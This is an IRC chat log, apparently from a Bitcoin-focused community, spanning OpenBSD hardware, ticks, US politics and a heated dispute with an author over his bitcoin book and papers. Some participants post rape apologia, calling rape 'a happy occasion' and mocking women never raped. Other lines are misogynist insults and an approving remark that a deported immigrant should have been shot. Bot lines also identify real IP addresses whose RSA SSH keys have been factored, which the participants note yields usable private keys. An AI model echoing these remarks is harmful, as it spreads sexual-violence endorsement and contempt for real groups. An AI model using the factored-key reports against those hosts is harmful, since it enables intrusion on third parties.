of 5min. 1635665;1491086978;trinque;asciilifeform: anyhow neither portage nor ports is a sane build system so I'm not picking an OS based on it. 1635666;1491086989;asciilifeform;trinque: now this is a point. 1635667;1491087000;asciilifeform;'should i live in the greek rubble, or the roman rubble' 1635668;1491087064;trinque;!!up nacci 1635669;1491087065;deedbot;nacci voiced for 30 minutes. 1635670;1491087154;trinque;nacci: who is your daddy and what does he do? 1635671;1491087182;nacci;seems that would be irrelevant in a meritocracy? 1635672;1491087190;*;nacci looking into deedbot 1635673;1491087231;trinque;!#s who is your daddy 1635674;1491087232;a111;26 results for "who is your daddy", http://btcbase.org/log-search?q=who%20is%20your%20daddy 1635675;1491087249;nacci;but in answer to your question his head is rammed far up the ass of the state 1635676;1491087439;trinque;guess nobody told him it'll stick that way 1635677;1491087475;shinohai;Dat last result 1635678;1491087548;trinque;http://btcbase.org/log/2014-04-28#647053 << wahahaha 1635679;1491087548;a111;Logged on 2014-04-28 10:23 cazalla: moiety: didn't see any male midwives while my wife was in hospital (private), i wouldn't mind being a lactation consultant, it was pretty sweet watching the younger ones caress the missus' tits for milk :P 1635680;1491087768;nacci;is an airgapped farraday cage a prerequisite for deedbot registration? 1635681;1491088117;mircea_popescu;not afaik 1635682;1491088756;danielpbarron;http://btcbase.org/log/2017-04-01#1635614 << yep. I put OpenBSD ~5.6 on a iMac G4 (the one that looks like a pixar lamp-creature) ; very nice machine despite how slow it is and how there doesn't seem to be any support for the platform anymore. 1635683;1491088756;a111;Logged on 2017-04-01 22:22 mircea_popescu: iirc danielpbarron had one 1635684;1491088819;trinque;danielpbarron: very nice looking machine, there 1635685;1491088833;trinque;I had one; I forget now where the hell it went. 1635686;1491088842;danielpbarron;i also got OpenBSD on iMac G3 and G5 but they aren't as nice. the G3 i gave up before getting a windows manager, and the G5 has too-new hardware that assumes you run OSX or whatever, the most annoying of which being the fan that defaults to full-throttle unless told to slow down 1635687;1491088844;trinque;probably walked away like those pixar ones 1635688;1491088866;danielpbarron;i have 5 of the G5s here 1635689;1491088875;danielpbarron;of varying screen sizes 1635690;1491088878;trinque;danielpbarron: they patched that (and I patched it myself before somebody else did in CVS tree) 1635691;1491088880;asciilifeform;in other lulzies, https://archive.is/BQ2cK >> 'University Police conducted a search of the building, which yielded no additional posters ... The situation is being investigated as a hate bias incident, she added, encouraging anyone with more information to contact University Police.' 1635692;1491088880;danielpbarron;!!up nacci 1635693;1491088881;deedbot;nacci voiced for 30 minutes. 1635694;1491088889;trinque;fan no longer whirs at top speed 1635695;1491088896;danielpbarron;ah, i did this a couple years ago 1635696;1491088896;nacci;those g5s are nice machines 1635697;1491088905;danielpbarron;will have to revisit then 1635698;1491089239;doppler;danielpbarron: could it have been the air duct sensor? 1635699;1491089340;nacci;so I do have a deedbot registration from about 6 months ago when i was checking out the eulora buzz 1635700;1491089448;trinque;doppler: http://man.openbsd.org/smu.4 << patch regarded this 1635701;1491089506;doppler;oh, I see. 1635702;1491089517;ben_vulpes;mircea_popescu: northeast and upper midwest 1635703;1491089537;trinque;https://www.openbsd.org/plus60.html << "On macppc, hook up smu(4/macppc) to the thermal management framework." 1635704;1491089569;trinque;ben_vulpes: some new plague floating around in PDX? 1635705;1491089654;ben_vulpes;trinque: mircea_popescu mentioned a tick-borne thing, i pointed out that it's not prevalent anywhere near me 1635706;1491089662;trinque;oic 1635707;1491089679;asciilifeform;iirc infected ticks are in all of usa 1635708;1491089691;asciilifeform;(with possible exception of the desert) 1635709;1491089709;asciilifeform;everywhere where deer are found. 1635710;1491089725;danielpbarron;lyme disease? was invented a couple towns over from me :D 1635711;1491089733;ben_vulpes;ixodes pacificus may someday be a carrier for babiosis 1635712;1491089771;ben_vulpes;anyways, tick spotting and removal is pretty standard 1635713;1491089775;nacci;mice are popular hosts as well 1635714;1491089780;ben_vulpes;"hold still, i gotta apply this hot thing to ya" 1635715;1491089808;danielpbarron;lyme disease is carried by the deer tic which is extremely small. You may think you are good at spotting tics but these things are particularly hard to find 1635716;1491089830;nacci;its hard to separate fact from fiction when it comes to lyme 1635717;1491089858;danielpbarron;whaddaya work for an insurance company? :p 1635718;1491089859;nacci;it seems to be a catch-all for the aches and pains of middle-aged wisdom 1635719;1491089868;nacci;women 1635720;1491090120;nacci;"Tick density increases were positively correlated with mild temperatures, low precipitation, low forest cover, and high urbanization" 1635721;1491092112;*;shinohai would love if some clever haxor made this happen https://pbs.twimg.com/media/C8XdC1tUQAANzgC.jpg 1635722;1491096490;asciilifeform;in other lulz, for everyone who 'enjoyed' shitoshi's 'varints' -- the retardation apparently is endemic, and even has named!!111 'standards' complete with shitlang demo suites: http://msgpack.org 1635723;1491096506;asciilifeform;with 'testimonials', even. 1635724;1491096510;asciilifeform;one for ben_vulpes's zoo. 1635725;1491096881;trinque;sure, "protobuf" also 1635726;1491096901;trinque;wicked space savings, bro. 1635727;1491097731;mircea_popescu;http://btcbase.org/log/2017-04-01#1635691 << it's funny that they can do the whole "this is investigated AS AN X" thing and yet STILL split it in their head so that "justice" and "law" work as anything but "the top criminal in our criminal organization said so." 1635728;1491097731;a111;Logged on 2017-04-01 23:21 asciilifeform: in other lulzies, https://archive.is/BQ2cK >> 'University Police conducted a search of the building, which yielded no additional posters ... The situation is being investigated as a hate bias incident, she added, encouraging anyone with more information to contact University Police.' 1635729;1491097797;mircea_popescu;"along with images of European sculptures of white men." << welcome to the empire of ignoramuses. 1635730;1491097811;mircea_popescu;i suppose one shouldn't ask what color scipio had anywhere near a marble bust of same amirite. 1635731;1491097831;mircea_popescu;how the fuck can the idiots put up with themselves ? 1635732;1491097888;mircea_popescu;!!gettrust nacci 1635733;1491097888;deedbot;L1: 0, L2: 0 by 0 connections. 1635734;1491097945;mircea_popescu;http://btcbase.org/log/2017-04-01#1635711 << i can't imagine the babe-iosis splittage escaped notice ? 1635735;1491097945;a111;Logged on 2017-04-01 23:35 ben_vulpes: ixodes pacificus may someday be a carrier for babiosis 1635736;1491098037;mircea_popescu;http://btcbase.org/log/2017-04-02#1635722 << redis pinterest and some unheard of items ? sounds legit! 1635737;1491098037;a111;Logged on 2017-04-02 01:28 asciilifeform: in other lulz, for everyone who 'enjoyed' shitoshi's 'varints' -- the retardation apparently is endemic, and even has named!!111 'standards' complete with shitlang demo suites: http://msgpack.org 1635738;1491098109;*;shinohai wonders if mircea_popescu broke the CompanionCube with that Trilema article ..... 1635739;1491098138;*;CompanionCube is busy with other things at the moment 1635740;1491098171;asciilifeform;reading about mircea_popescu going to a recycledfood 'restaurant' was mindmelting 1635741;1491098201;mircea_popescu;shinohai i had some follow-ups for his benefit, such as you know, "why quora is a piece of shit" http://trilema.com/2017/global-warming-on-triton/#footnote_0_71308 and other "basic combinatorics or why $nobody can't possibly have ideas / be taken seriously." 1635742;1491098218;mircea_popescu;asciilifeform im promiscuous. 1635743;1491098294;shinohai;My last log message was http://btcbase.org/log/2017-04-01#1635587 until just now. I like observing the transformation of thought that occurs when one reads these things, 1635744;1491098294;a111;Logged on 2017-04-01 20:27 CompanionCube reads 1635745;1491098462;asciilifeform;mircea_popescu: the 'comp has no business being anything other than large fpga' and 'swamp of nic drivers that have 0 legit reason to exist' are elementarily plagiarized from us 1635746;1491098496;mircea_popescu;im not even discussing the substance of his claim. so far we're at the pre-hearing arguments where he learns how to make a cogent statement in the first place. 1635747;1491098572;mircea_popescu;"but mp, my mom told me i was born with the god-given ability to make cogent arguments" "that;s probably why she fucks drunks, too." 1635748;1491098587;asciilifeform;http://trilema.com/2015/prophylaxis/#selection-439.138-443.88 << see also 1635749;1491098600;asciilifeform;'Sort-of like the colonial Europeans' expectation that someone firing a weapon necessarily speaks French, or Spanish, or English, or some sort of civilised language. Because otherwise... where did they get the human weapon! Goblins don't craft weapons. ' 1635750;1491098607;shinohai;./vdiff trilemalogs blinklight.io 1635751;1491099484;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F553DF84D46E34522C81353046830CB7A2C17C4333D3CC6EE817AAB551D2A73E << Recent Phuctorings. - Phuctored: 1700...5253 divides RSA Moduli belonging to '87.96.147.6 (ssh-rsa key from 87.96.147.6 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (msa1upp01.magasin1.se. SE C) 1635752;1491099484;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F553DF84D46E34522C81353046830CB7A2C17C4333D3CC6EE817AAB551D2A73E << Recent Phuctorings. - Phuctored: 1627...6559 divides RSA Moduli belonging to '87.96.147.6 (ssh-rsa key from 87.96.147.6 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (msa1upp01.magasin1.se. SE C) 1635753;1491099987;mircea_popescu;lmao 310 + 310 digit factors. this'd be a 2kb key i gather ? 1635754;1491100044;asciilifeform;2048 aha 1635755;1491100048;asciilifeform;we have megatonne of those 1635756;1491100056;mircea_popescu;kinda nice when it just gives away the whole key like that. 1635757;1491100094;asciilifeform;pretty much whole past yr of phuctorings 'give away whole key' 1635758;1491100105;*;mircea_popescu vaguely recalls some "pirate party" associated dorks producing lame "oh, can't factor a key anyway" verbiage cca 2015 1635759;1491100105;asciilifeform;in these sense of, yes, you can take the thing and trivially piss out a usable key 1635760;1491100131;asciilifeform;i've contemplated adding, e.g., 'download as pgp key', 'download as ssh key', etc buttons 1635761;1491100135;mircea_popescu;to think that, much like "tor", those passed for the "forefront of internets" at some point, a decade prior. 1635762;1491100136;asciilifeform;but why feed the lazy. 1635763;1491100154;asciilifeform;speaking of which, at some point we oughta snarf tor 'onion' etc keyz 1635764;1491100163;mircea_popescu;asciilifeform so they can make .io websites under dorky pseudonyms and expect medium tards to pick them up ? 1635765;1491100210;asciilifeform;yea well phuctor imho exists so that they can be raped raw, not 'helped' 1635766;1491100224;asciilifeform;public... disservice, if you will. 1635767;1491100268;mircea_popescu;the big secret re rape is that it's a happy occasion. the fundamental state is two bored people watching tv, too lazy for even the copacetic nonsense they call proper. let alone any kind of rape. 1635768;1491100325;mircea_popescu;the only adequate epitaph on the tombstones of well over 90% of "civilised world" females the past few centuries is "here lies jane, whom nobody could suymmon the interest to ever rape." 1635769;1491100440;asciilifeform;( the other reason, ftr, why phuctor, is that there exists solely ONE method to determine if your key generator produces phuctorables... ) 1635770;1491100490;mircea_popescu;and the trump news totally dried out ;/ nothing but rehashed butthurt and libertard wishful thinking. 1635771;1491100535;shinohai;The Trumpreich lives on! 1635772;1491100598;asciilifeform;last i heard -- 3rd (?) consecutive 'judge' refused to un-cancel the revised immigration reform thing 1635773;1491100631;mircea_popescu;last i heard, idiot argentine "dreamer" was detained and deported. 1635774;1491100640;mircea_popescu;they should have shot her, ideally, but whatevs. 1635775;1491100657;asciilifeform;lol!! deported to where? 1635776;1491100662;mircea_popescu;argentina. 1635777;1491100665;asciilifeform;ooh 1635778;1491100673;asciilifeform;for some reason i immediately thought 'kirschner' 1635779;1491100701;mircea_popescu;which is kinda the point here. yes, if you read the libertard fake news they're like all victorious and shit, hillary is practically president. 1635780;1491100707;mircea_popescu;irl... 1635781;1491100795;*;asciilifeform has deeply nfi what goes on 'irl' outside of own desk nao. 1635782;1491100839;asciilifeform;mircea_popescu convinced me -- 0 way to learn it from reading the beobachter. 1635783;1491100952;trinque;hell obama might go down as nixon 2.0 at this point. 1635784;1491100957;mircea_popescu;in general, the pretense that anything in the us can limit the presidential administration was all but abandoned with bush 1635785;1491100960;mircea_popescu;that was 20 years ago. 1635786;1491101024;asciilifeform;'In any case, sixty-two millions was no nearer the truth than fifty-seven millions, or than 145 millions. Very likely no boots had been produced at all. Likelier still, nobody knew how many had been produced, much less cared. All one knew was that every quarter astronomical numbers of boots were produced on paper, while perhaps half the population of Oceania went barefoot.' 1635787;1491101029;asciilifeform;(tm)(r)(mr.o) 1635788;1491101033;mircea_popescu;just about. 1635789;1491101062;mircea_popescu;dude got the government into torture. outside of that... really, what else, what more ? once that's on the table everything else's peanuts. 1635790;1491101064;mircea_popescu;and it is peanuts. 1635791;1491101241;asciilifeform;trinque: gotta love the 'we bugged him ACCIDENTALLY, and if not, it was because ru stooge and stfu terrorist' 1635792;1491101249;mircea_popescu;heh 1635793;1491101350;trinque;rotating dictatorship can be perilous for previous dictators 1635794;1491101402;asciilifeform;rumour has it -- obummer is hanging out on some pedo island, in caribbean 1635795;1491101491;mircea_popescu;pizza island ? 1635796;1491101504;asciilifeform;lol 1635797;1491101584;asciilifeform;http://archive.is/ZEJ1G >> 'Former President Barack Obama is planning an extended stay in the South Pacific as he begins to write his memoir...' etc 1635798;1491101598;asciilifeform;'The bidding war over the rights to the books had reportedly soared above $60 million...' 1635799;1491101652;asciilifeform;but, more entertaining, from same rag: 'The Russian Foreign Ministry addressed election interference allegations as an April Fools' Day joke on Saturday. The ministry said on its Facebook page that it had set up an automated telephone switchboard for embassies, offering in a fake voicemail the services of "hackers" and "election interference."' 1635800;1491101678;asciilifeform;'"You have reached the Russian embassy, your call is very important to us. To arrange a call from a Russian diplomat to your political opponent, press 1," the recording begins, in Russian and English. "To use the services of Russian hackers, press 2...' 1635801;1491101760;asciilifeform;( ^ http://archive.is/jtjeR ) 1635802;1491102734;phf;there's a handful of american "restaurants" i've never been to, applebees is one of them. but the list is getting smaller with time, recently i got to experience "cracker barrel" 1635803;1491102805;phf;as far i understand they are all essentially the same, in that they don't actually serve food. 1635804;1491102831;asciilifeform;mircea_popescu's description -- fits 1635805;1491102844;trinque;prolly same phood distributor behind all 1635806;1491102876;asciilifeform;they all serve 'mcchicken' or similar; 'ice cream' that is 80% hcfc by mass; hcfc syrop drink; etc 1635807;1491102891;asciilifeform;*hfcs 1635808;1491102898;trinque;iirc "US Foods" is pretty common. 1635809;1491102907;trinque;like it could be called anything else. 1635810;1491102915;asciilifeform;'sysco' -- major supplier in east usa 1635811;1491102922;trinque;ah yeah that's another 1635812;1491108875;BingoBoingo; 'sysco' -- major supplier in east usa << Sysco, Carlisle, etc 1635813;1491111715;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1ECFE7DD93B0147398FBA2C8ABFD597BF2319714F2AB01EA6961CA30EB4C340A << Recent Phuctorings. - Phuctored: 1402...2177 divides RSA Moduli belonging to '200.128.66.253 (ssh-rsa key from 200.128.66.253 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BR) 1635814;1491111715;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1ECFE7DD93B0147398FBA2C8ABFD597BF2319714F2AB01EA6961CA30EB4C340A << Recent Phuctorings. - Phuctored: 1587...2707 divides RSA Moduli belonging to '200.128.66.253 (ssh-rsa key from 200.128.66.253 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BR) 1635815;1491111938;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/Birdman.asc 1635816;1491111982;deedbot;accepted: 1 1635817;1491112041;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/danielpbarron.asc 1635818;1491112074;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/diana_coman.asc 1635819;1491112081;danielpbarron;heh 1635820;1491112101;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/hanbot.asc 1635821;1491112122;lobbes;and.. last one 1635822;1491112125;deedbot;deeds online 1635823;1491112127;lobbes;!!deed http://lobbesblog.com/billing/2017/Q1/mircea_popescu.asc 1635824;1491112131;deedbot;accepted: 1 1635825;1491112132;deedbot;accepted: 1 1635826;1491112132;deedbot;accepted: 1 1635827;1491112149;lobbes;!!rate trinque 2 deedbot 1635828;1491112150;deedbot;Get your OTP: http://p.bvulpes.com/pastes/Fklbq/?raw=true 1635829;1491112194;lobbes;!!v B4A2A76A8AE99F34AC6E063962EE30F5C717435D9A2411B45BEEDA971ACA875A 1635830;1491112194;deedbot;lobbes updated rating of trinque from 1 to 2 << deedbot 1635831;1491112247;lobbes;danielpbarron, I'm thinkin' that even monthly billing for the thing is too frequent due to the small sums involved. Gonna just do it on a quarterly cycle 1635832;1491112911;lobbes;hell, I'll probably just pay my Republican taxes with the first bitcent-bundles I collect 1635833;1491113219;danielpbarron;neato, I opt for the copper payment method. i'm usually in town these days 1635834;1491113449;lobbes;nice. I'll try and find ya tomorrow. I really got to set up my old craptop to just be connected to Eulora 24/7. Currently gotta boot into my winbloze side to get the game working -_- 1635835;1491113457;lobbes;time for me to learn to gentoo already 1635836;1491113509;lobbes;for some reason couldn't get it working with Debian, but probably something I fucked somewhere. meh 1635837;1491113623;danielpbarron;learning how to gentoo is like learning how to linux 10 years ago, which fortunately I did then. Not much has changed except that all the other distros went for more automation which seems to have rendered them pointless for what linux was supposed to be about in the first place 1635838;1491118003;diana_coman;lobbes, I'll gladly pay for the auction services in Eulora; Foxy's currently in a days-long craft so will have to wait for that to finish first though 1635839;1491118568;mircea_popescu;http://btcbase.org/log/2017-04-02#1635803 << sysco whitelabels, basically. 1635840;1491118568;a111;Logged on 2017-04-02 03:13 phf: as far i understand they are all essentially the same, in that they don't actually serve food. 1635841;1491118688;mircea_popescu;or as tringue says, usfoods 1635842;1491118717;mircea_popescu;(top keks : sysco tried to buy us foods (2nd in the field) a few years ago, it came out the merger'd have controlled 75% of the us food supply) 1635843;1491118808;mircea_popescu;lobbes you ever got in game yet ? till trinque 's payment thing is live that's the only way 1635844;1491118906;mircea_popescu;!!up saifedean 1635845;1491118906;deedbot;saifedean voiced for 30 minutes. 1635846;1491118920;saifedean;good day, gentlemen 1635847;1491118930;mircea_popescu;early sunday morning more like it 1635848;1491118965;saifedean;more like a late sunday morning, with a baby! 1635849;1491119033;saifedean;I come bringing good tidings 1635850;1491119081;saifedean;I'm writing a book explaining the concept of sound money to normies and how bitcoin will restore it 1635851;1491119119;saifedean;I'm near completing it 1635852;1491119180;mircea_popescu;got a contract and everything ? 1635853;1491119228;saifedean;no, but I wouldn't want that before it's done.Have a few connections to publishers and will ship it off to them when done 1635854;1491119261;mircea_popescu;not to piss on your parade, but how did you go from "unsolicited manuscript" to "good tidings" ? 1635855;1491119267;saifedean;And even without it, I'm happy to self-publish 1635856;1491119350;saifedean;well, not to blow my book's horn, but this isn't some waiter's novel written out between shifts. I've put a ton of good work into it 1635857;1491119391;saifedean;I'm sure you agree it's about time someone wrote something about bitcoin beyond the 'muh cheap latte processing fees' 1635858;1491119427;saifedean;(also, I've got a good few names happy to blurb it and hawk it to publishers) 1635859;1491119456;diana_coman;!!s saifedean 1635860;1491119520;saifedean;If any of you good folk would like to get a sneak peak at the first draft, I'd appreciate the feedback 1635861;1491119549;diana_coman;saifedean WHAT makes you an expert on the topic? 1635862;1491119695;saifedean;I guess you'll have to read it and judge for yourself. In any case the topic isn't bitcoin per se, it's mostly about sound money, and how bitcoin is the digital solution to this perplexing age old problem that has fucked humanity eternally 1635863;1491119838;diana_coman;that's a very poor answer; people's time is a scarce resource 1635864;1491119961;saifedean;it's a good answer when you consider that I have the bullshit mainstream credentials most cattle imagine would qualify one to opine on this topic, and that I did not mention that to answer your question because I know cattle credentials don't mean shit. 1635865;1491120038;diana_coman;in other unrelated or possibly related happenings, my 4 year old got a book about the iss (int'l space station); he got quite obsessed with it for a week so now he knows it inside out; this morning he came with a construction made out of lego pieces and informs me: THIS is IIISSSIII! 1635866;1491120124;diana_coman;saifedean do you have the work and results that mean something? if yes - link; if no, no 1635867;1491120171;saifedean;I've written two related papers: https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2832751 1635868;1491120177;saifedean;https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2832769 1635869;1491120209;*;diana_coman goes to check those out 1635870;1491120230;saifedean;and I'm happy to send you the work in progress first draft, but don't want to publish online yet 1635871;1491120242;diana_coman;might mention that I was a post-doc at some point in life 1635872;1491120266;saifedean;my condolences 1635873;1491120362;saifedean;and congratulations for getting out! 1635874;1491120363;diana_coman;no need to: it thoroughly disabused me of the naive belief that academia is actually worthwhile aka truly doing research (in some 1% cases it might still be doing it, but mostly dieing out) 1635875;1491120445;saifedean;agreed entirely, and the only thing that will kill this worthless zombie is sound money cutting off the bezzle spigots 1635876;1491120747;diana_coman;read this: https://papers.ssrn.com/sol3/papers.cfm?abstract_id=2832751 <- the answer to the title would be "well, how the hell would you know?" ; really, get involved and do something useful with it and then talk about what you did; so far I see only a re-hash a la acm/journalism/whatevers, not-even-proper-systematic-lit-review 1635877;1491120752;diana_coman;!!up saifedean 1635878;1491120752;deedbot;saifedean voiced for 30 minutes. 1635879;1491120831;saifedean;sounds nice in principle except that you can't actually do anything with "blockchain technology" other than bitcoin 1635880;1491120857;saifedean;that's the point of the paper 1635881;1491120888;saifedean;other than bitcoin-envy, there's absolutely no reason for anyone to use "blockchain technology" for anything 1635882;1491121016;diana_coman;I didn't mean to get involved and do something useful with "blockchain technology"; I meant at the very least running a node, exploring the network 1635883;1491121123;diana_coman;the links you sent are essentially bla-bla; not even theory since there isn't even some clear methodology one could evaluate, nor clear supporting arguments to the claims; I won't waste any more time on it 1635884;1491121225;saifedean;i see the postdoc years have taken their toll. Academics are incapable of actually thinking of anything other than rituals of methodology 1635885;1491121262;saifedean;this is bezzle-funded ritualism, meant to create an aura of prestige around bezzle-funded bullshit "science" 1635886;1491121513;saifedean;academic disciplines as we know them have degenerated into rituals for exclusivity, not communicating ideas. these papers have been quite helpful to disabuse a lot of people of the retarded notions that altcoins and "blockchain technology" are going to revolutionize all teh thingz 1635887;1491121593;saifedean;in any case, these only inform the last couple of chapters of the book. the rest is mostly economic history and austrian economics on sound money and its perks & fiat money and its disasters 1635888;1491125258;diana_coman;lolz @ ritualism; I ask for practical, hands-on experience that would give him something to say on the topic and he points me to bla-bla; I point out it is bla-bla unsupported and without any concern to even allow people to verify it should they be inclined to do so and he claims it's rituals I'm asking for 1635889;1491125431;diana_coman;!!rate saifedean -1 bla-bla peddler full of air and nothing much besides it. 1635890;1491125431;deedbot;saifedean is not registered in WoT. 1635891;1491125435;diana_coman;oh right 1635892;1491125809;diana_coman;it seems that academia meanwhile went even faster downhill than I thought possible; at this rate it will soon produce colouring books and "educate" people on how pencils are not even good for much besides making marks on paper (for which one can use their hands anyway! there's one chapter on that plus 10 on history of mark-making and its perks) 1635893;1491137532;shinohai;Such entertaining logz this morning, courtesy of diana_coman ! >.> 1635894;1491137752;diana_coman;lol; Sunday logs! 1635895;1491137796;shinohai;tfw peer review requires you to get out the crayons .... 1635896;1491141247;*;trinque savors the irony re: "rituals for exclusivity" 1635897;1491141252;trinque;!!gettrust deedbot trinque 1635898;1491141252;deedbot;L1: 1, L2: 6 by 6 connections. 1635899;1491143677;asciilifeform;http://btcbase.org/log/2017-04-02#1635884 << asciilifeform is not even slightly an academic but, after grunting through saifedean's links, agrees with diana_coman 1635900;1491143677;a111;Logged on 2017-04-02 08:20 saifedean: i see the postdoc years have taken their toll. Academics are incapable of actually thinking of anything other than rituals of methodology 1635901;1491143697;asciilifeform;the linked material is.. 'content free' 1635902;1491143947;shinohai;He replied to me on twitter: "the groupthink, navel-gazing & ritualism can be a little overdone!" ( Asking one to cite sources = ritualism ? ) 1635903;1491144460;asciilifeform;oh he cites sources... (e.g., buterin!) 1635904;1491144493;shinohai;I mean real sources. 1635905;1491144497;shinohai;xD 1635906;1491144503;asciilifeform;the basic q for him, per diana_coman earlier, 'who the hell ~are~ you, to ~speak~' 1635907;1491144556;*;shinohai kek'd http://btcbase.org/log/2017-04-02#1635889 1635908;1491144556;a111;Logged on 2017-04-02 09:30 diana_coman: !!rate saifedean -1 bla-bla peddler full of air and nothing much besides it. 1635909;1491144641;asciilifeform;there are few folx more insufferable than the ones who think that their heathen 'credentials' ~per se~ are worth something. 1635910;1491144748;asciilifeform;if d00d had toiled in a lab for 20 yrs -- that is some, bare, minimal contact with physical reality and cause-effect systems, perhaps comparable with an auto mechanic's 20 yrs in garage. and so i might listen to an experimentalist for ~that~ reason. 1635911;1491144767;asciilifeform;but not for the certificate-from-hitler. 1635912;1491144861;asciilifeform;also fwiw i can't stand taleb for exactly same reason 1635913;1491144956;asciilifeform;(d00d who thinks that he's a demigod, but i have nfi what he actually accomplished with ~own~ hands other than the tired old trick of 'turning a billion $ into a million') 1635914;1491145100;shinohai;I sometimes read his stuff, but he is very arrogant for someone that simply parrots existing works. 1635915;1491146205;mircea_popescu;arrogance is a defense mechanism in sexually frustrated males. 1635916;1491146248;shinohai;Not like my timeline isn't full of all sorts of things that could help with that. :) 1635917;1491146263;Framedragger;(well he did retire in his 20s by doing trading and also correctly shorting for the 2008 meltdown) 1635918;1491146284;Framedragger;maybe this is an instance of turning $1b into $1m, tho 1635919;1491146427;mircea_popescu;http://btcbase.org/log/2017-04-02#1635884 << this was lulzy. diana_coman has been weighed in the balance and found wanting. saifadean 5:27 1635920;1491146427;a111;Logged on 2017-04-02 08:20 saifedean: i see the postdoc years have taken their toll. Academics are incapable of actually thinking of anything other than rituals of methodology 1635921;1491146512;shinohai;!~bible saifadean 5:27 1635922;1491146513;jhvh1;shinohai: ERROR: Failed to load/parse the verse or page. Check your syntax. 1635923;1491146538;mircea_popescu;http://btcbase.org/log/2017-04-02#1635892 << it already does exactly that. http://btcbase.org/log/2017-03-29#1634147 point in case. 1635924;1491146538;a111;Logged on 2017-04-02 09:36 diana_coman: it seems that academia meanwhile went even faster downhill than I thought possible; at this rate it will soon produce colouring books and "educate" people on how pencils are not even good for much besides making marks on paper (for which one can use their hands anyway! there's one chapter on that plus 10 on history of mark-making and its perks) 1635925;1491146538;a111;Logged on 2017-03-29 17:47 mircea_popescu: asciilifeform he "will spend significant time" to find... "Research" tasks adequate to that fuckdolls "level" yet he can't be bothered to figure out how deedbot works ? 1635926;1491146552;shinohai;https://pbs.twimg.com/media/C8anE0hXUAEcvDD.jpg <<< Windows 10 ftw 1635927;1491146554;mircea_popescu;!~bible danielpbarron 5:27 1635928;1491146555;jhvh1;mircea_popescu: ERROR: Failed to load/parse the verse or page. Check your syntax. 1635929;1491146557;mircea_popescu;gah nothing works. 1635930;1491146712;mircea_popescu;http://btcbase.org/log/2017-04-02#1635906 << lebanese iirc expat ; did some research work in the us. not actually stupid but altogether lazy and possessed of a very inflated sense of self-worth and self-importance (it seems to rub off on foreigners faster than on locals, this typical ustardism. i guess it would be because the immigrants self-select for sensitivity to the infection). 1635931;1491146712;a111;Logged on 2017-04-02 14:48 asciilifeform: the basic q for him, per diana_coman earlier, 'who the hell ~are~ you, to ~speak~' 1635932;1491146737;mircea_popescu;as far as the forum is concerned, his latest foray was some very overreactive bs triggered by my refusal to take rice out of my sushi or somesuch. 1635933;1491146831;asciilifeform;i remember him from couplea yrs ago; 'economist' and dietary crackpot 1635934;1491146934;asciilifeform;makes me recall mircea_popescu's '5th psychological urge / 'mystical correctness' article 1635935;1491146962;asciilifeform;d00d makes a successful bet, once in his life, and it irradiates his brain 1635936;1491147346;mircea_popescu;mebbe. i have nfi really. 1635937;1491147371;mircea_popescu;asciilifeform it's hard out there for a pimp, yo, when he trynna make da mony fo da rent. 1635938;1491147406;mircea_popescu;(in other words : males tend to put up all sorts of inept acts because, literally, manhood is a practical impossibility.) 1635939;1491147552;mircea_popescu;http://btcbase.org/log/2017-04-02#1635912 << i don't personally find taleb objectionable. this position my be significantly bolstered by my disinclination to actually read him. anyway -- i suspect it might be a case of anaphylaxis. you can't stand specific antigens which he expresses mostly to protect himself from the idiot soup he bathes in, the twitter world etc. 1635940;1491147552;a111;Logged on 2017-04-02 14:54 asciilifeform: also fwiw i can't stand taleb for exactly same reason 1635941;1491147587;mircea_popescu;very similar reaction in a certain sort of mousy librarian brain (like for eg the population of something awful) wrt yours truly. 1635942;1491147603;asciilifeform;likely 1635943;1491147642;mircea_popescu;if it's indeed the case that taleb is your orlov, i'll comment that i'm missing out on less than you are. 1635944;1491147714;mircea_popescu;because taleb is no mark cuban (the poster child of "pro wrestlert accidentally sold pair of used undies for 5bn, now thinks self businessman in spite of mountain of evidence to the contrary accumulated over the decades) 1635945;1491147976;mircea_popescu;http://btcbase.org/log/2017-04-02#1635918 << i suspect alf has a very strong bias pro algae and anti bacteria. i'm not altogether convinced the view has any merit. 1635946;1491147976;a111;Logged on 2017-04-02 15:18 Framedragger: maybe this is an instance of turning $1b into $1m, tho 1635947;1491148024;mircea_popescu;if for nothing else, because if followed along it ends up favouring bos over panthera 1635948;1491148029;asciilifeform;mircea_popescu: expand plz 1635949;1491148041;shinohai;!!up thortron 1635950;1491148041;deedbot;thortron voiced for 30 minutes. 1635951;1491148062;mircea_popescu;asciilifeform there's two kinds of animals, at the basics. those who "make something with own chloroplasts" ie, algae, plants etc ; and then those who eat them. 1635952;1491148126;asciilifeform;i am not a protester of the food chain. 1635953;1491148158;mircea_popescu;the problem is the rope frays at the other end : bama dillert's father, who plows, does not appear in any james hones novels ; bama dillert himself, who figures if a man's gonna gamble anyway, might as well do it without plowing, does. 1635954;1491148169;mircea_popescu;because the latter have to move, and consequently must be graceful and etcetera. 1635955;1491148180;mircea_popescu;james jones* 1635956;1491148188;jhvh1;Hello thorntron. Who is your daddy and what does he do? 1635957;1491148208;asciilifeform;and i even have nothing, believe it or not, against lottery winners. of whatever kind. but i will not worship them. 1635958;1491148236;mircea_popescu;well worship is a complex topic. for one thing, why'd you worship anything that dun fuck you. 1635959;1491148250;asciilifeform;lottery winners have not merely 0 to teach, but 'learning' from them tends to make folx dumber. 1635960;1491148268;mircea_popescu;this depends dunnit ? "learning" is quite open ended. 1635961;1491148269;asciilifeform;as per naggum's example of 'comp industry 'learned' from microshit'. 1635962;1491148309;asciilifeform;successes that cannot be replicated are 'antiknowledge' 1635963;1491148322;mircea_popescu;until they are replicated, all successes can't be replicated. 